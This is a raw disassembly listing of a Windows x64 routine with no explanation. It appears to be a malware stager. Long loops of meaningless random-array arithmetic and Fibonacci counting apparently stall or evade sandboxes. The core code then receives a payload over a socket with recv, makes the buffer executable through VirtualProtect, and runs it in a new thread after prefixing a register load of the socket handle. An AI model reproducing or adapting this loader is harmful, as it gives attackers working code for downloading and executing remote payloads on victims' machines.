mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x43c]
movsxd rdx, edx
imul rcx, rdx, 0x8830
mov rdx, qword [rbp + 0x288]
add rdx, rcx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0x438]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x43c]
movsxd rdx, edx
imul rcx, rdx, 0x8830
mov rdx, qword [rbp + 0x280]
add rdx, rcx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0x438]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x438], 1
cmp dword [rbp + 0x438], 0x220b
jle 0x402aca
add dword [rbp + 0x43c], 1
cmp dword [rbp + 0x43c], 0x2362
jle 0x402abb
mov dword [rbp + 0x43c], 0
jmp 0x402c43
mov dword [rbp + 0x438], 0
jmp 0x402c2c
mov eax, dword [rbp + 0x43c]
cdqe
imul rdx, rax, 0x8830
mov rax, qword [rbp + 0x288]
add rdx, rax
mov eax, dword [rbp + 0x438]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x43c]
cdqe
imul rdx, rax, 0x8830
mov rax, qword [rbp + 0x280]
add rdx, rax
mov eax, dword [rbp + 0x438]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x43c]
cdqe
imul rdx, rax, 0x8830
mov rax, qword [rbp + 0x278]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x438]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x438], 1
cmp dword [rbp + 0x438], 0x220b
jle 0x402baf
add dword [rbp + 0x43c], 1
cmp dword [rbp + 0x43c], 0x2362
jle 0x402ba3
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x280]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x278]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2a0]
mov byte [rax], 0x48
mov rax, qword [rbp + 0x2a0]
add rax, 1
mov byte [rax], 0xbf
mov rax, qword [rbp + 0x2a0]
lea rdx, [rax + 2]
mov eax, dword [rbp + 0x178]
mov dword [rdx], eax
mov dword [rbp + 0x274], 0
mov dword [rbp + 0x42c], 0
mov ecx, 0x18c85ee8
call sym.malloc
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x434], 0
jmp 0x402d85
mov dword [rbp + 0x430], 0
jmp 0x402d6e
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x434]
cdqe
imul rdx, rax, 0xa5c8
mov rax, qword [rbp + 0x268]
lea r8, [rdx + rax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x430]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x434]
cdqe
imul rdx, rax, 0xa5c8
mov rax, qword [rbp + 0x268]
add rdx, rax
mov eax, dword [rbp + 0x430]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x402d67
add dword [rbp + 0x42c], 1
add dword [rbp + 0x430], 1
cmp dword [rbp + 0x430], 0x2971
jle 0x402cee
add dword [rbp + 0x434], 1
cmp dword [rbp + 0x434], 0x2644
jle 0x402cdf
cmp dword [rbp + 0x42c], 0x3190bdd
jne 0x402dab
mov dword [rbp + 0x274], 1
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.free
mov qword [rbp + 0x260], 0
mov qword [rbp + 0x420], 0
mov rax, qword [rbp + 0x2a0]
add rax, 0xa
mov qword [rbp + 0x418], rax
jmp 0x40302a
mov rax, qword [rbp + 0x190]
mov edx, eax
mov rax, qword [rbp + 0x420]
sub edx, eax
mov eax, edx
mov ecx, eax
mov rax, qword [rbp + 0x178]
mov rdx, qword [rbp + 0x418]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
add qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x260]
add qword [rbp + 0x420], rax
cmp qword [rbp + 0x260], 0xffffffffffffffff
jne 0x40302a
mov ecx, 0x9feee74
call sym.malloc
mov qword [rbp + 0x258], rax
mov ecx, 0x9feee74
call sym.malloc
mov qword [rbp + 0x250], rax
mov ecx, 0x9feee74
call sym.malloc
mov qword [rbp + 0x248], rax
mov ecx, 0x9feee74
call sym.malloc
mov qword [rbp + 0x240], rax
mov dword [rbp + 0x410], 0x27fbb9c
mov dword [rbp + 0x414], 0
jmp 0x402fb8
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x414]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x414]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x250]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
mov eax, dword [rbp + 0x410]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
add rax, rdx
mov edx, dword [rbp + 0x414]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x248]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x410]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x250]
add rax, rdx
mov edx, dword [rbp + 0x414]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x240]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x410], 1
add dword [rbp + 0x414], 1
cmp dword [rbp + 0x414], 0x27fbb9c
jle 0x402eb0
mov rax, qword [rbp + 0x258]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x250]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x240]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rdx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x190]
cmp rdx, rax
jb 0x402de7
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x190]
lea rdx, [rax + 0xa]
lea rcx, [rbp + 0x174]
mov rax, qword [rbp + 0x2a0]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x23c], eax
mov dword [rbp + 0x40c], 0xffffffff
mov ecx, 0x2b6d590
call sym.malloc
mov qword [rbp + 0x230], rax
mov ecx, 0x2b6d590
call sym.malloc
mov qword [rbp + 0x228], rax
add dword [rbp + 0x40c], 1
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm6, eax
call sym.rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 6
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x46
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x40c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
divsd xmm6, xmm0
movapd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x40c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x40c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x228]
lea rbx, [rdx + rax]
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x40c], 0x56dab0
jle 0x4030af
mov rdx, qword [rbp + 0x2a0]
lea rax, [rbp + 0x19c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x408], 0
mov dword [rbp + 0x404], 1
mov dword [rbp + 0x400], 0
mov dword [rbp + 0x21c], 0x3530c7b6
jmp 0x403223
mov edx, dword [rbp + 0x408]
mov eax, dword [rbp + 0x404]
add eax, edx
mov dword [rbp + 0x218], eax
add dword [rbp + 0x400], 1
mov eax, dword [rbp + 0x404]
mov dword [rbp + 0x408], eax
mov eax, dword [rbp + 0x218]
mov dword [rbp + 0x404], eax
mov eax, dword [rbp + 0x400]
cmp eax, dword [rbp + 0x21c]
jl 0x4031f0
mov rax, qword [rbp + 0x220]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x214], eax
jmp 0x40358b
mov dword [rbp + 0x3fc], 0
mov dword [rbp + 0x3f8], 1
mov dword [rbp + 0x3f4], 0
mov dword [rbp + 0x1f8], 0x3530c7b6
jmp 0x4032b1
mov edx, dword [rbp + 0x3fc]
mov eax, dword [rbp + 0x3f8]
add eax, edx
mov dword [rbp + 0x1f4], eax
add dword [rbp + 0x3f4], 1
mov eax, dword [rbp + 0x3f8]
mov dword [rbp + 0x3fc], eax
mov eax, dword [rbp + 0x1f4]
mov dword [rbp + 0x3f8], eax
mov eax, dword [rbp + 0x3f4]
cmp eax, dword [rbp + 0x1f8]
jl 0x40327e
jmp 0x40358b
mov dword [rbp + 0x3f0], 0xffffffff
mov ecx, 0x2b27080
call sym.malloc
mov qword [rbp + 0x1e8], rax
add dword [rbp + 0x3f0], 1
call sym.rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x004070a0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
movsd xmm1, qword [0x004070a8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x3f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
movq xmm1, qword [0x004070b0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x3f0], 0x564e0e
jle 0x4032df
jmp 0x40358b
mov ecx, 0x194055bc
call sym.malloc
mov qword [rbp + 0x1e0], rax
mov ecx, 0x194055bc
call sym.malloc
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x3e8], 0x650156e
mov dword [rbp + 0x3ec], 0
jmp 0x403409
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x3ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
add dword [rbp + 0x3ec], 1
cmp dword [rbp + 0x3ec], 0x650156e
jle 0x4033be
mov dword [rbp + 0x3ec], 0
jmp 0x403468
mov eax, dword [rbp + 0x3e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
mov edx, dword [rbp + 0x3ec]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x3e8], 1
add dword [rbp + 0x3ec], 1
cmp dword [rbp + 0x3ec], 0x650156e
jle 0x403421
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sym.free
jmp 0x40358b
mov ecx, 0x136d3cd4
call sym.malloc
mov qword [rbp + 0x1d0], rax
mov ecx, 0x136d3cd4
call sym.malloc
mov qword [rbp + 0x1c8], rax
mov dword [rbp + 0x3e0], 0x4db4f34
mov dword [rbp + 0x3e4], 0
jmp 0x40355d
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x3e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1d0]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
mov eax, dword [rbp + 0x3e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1d0]
add rax, rdx
mov edx, dword [rbp + 0x3e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x3e0], 1
add dword [rbp + 0x3e4], 1
cmp dword [rbp + 0x3e4], 0x4db4f34
jle 0x4034d2
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.free
mov eax, 0
movaps xmm6, xmmword [rbp + 0x4c0]
add rsp, 0x558
pop rbx
pop rbp
ret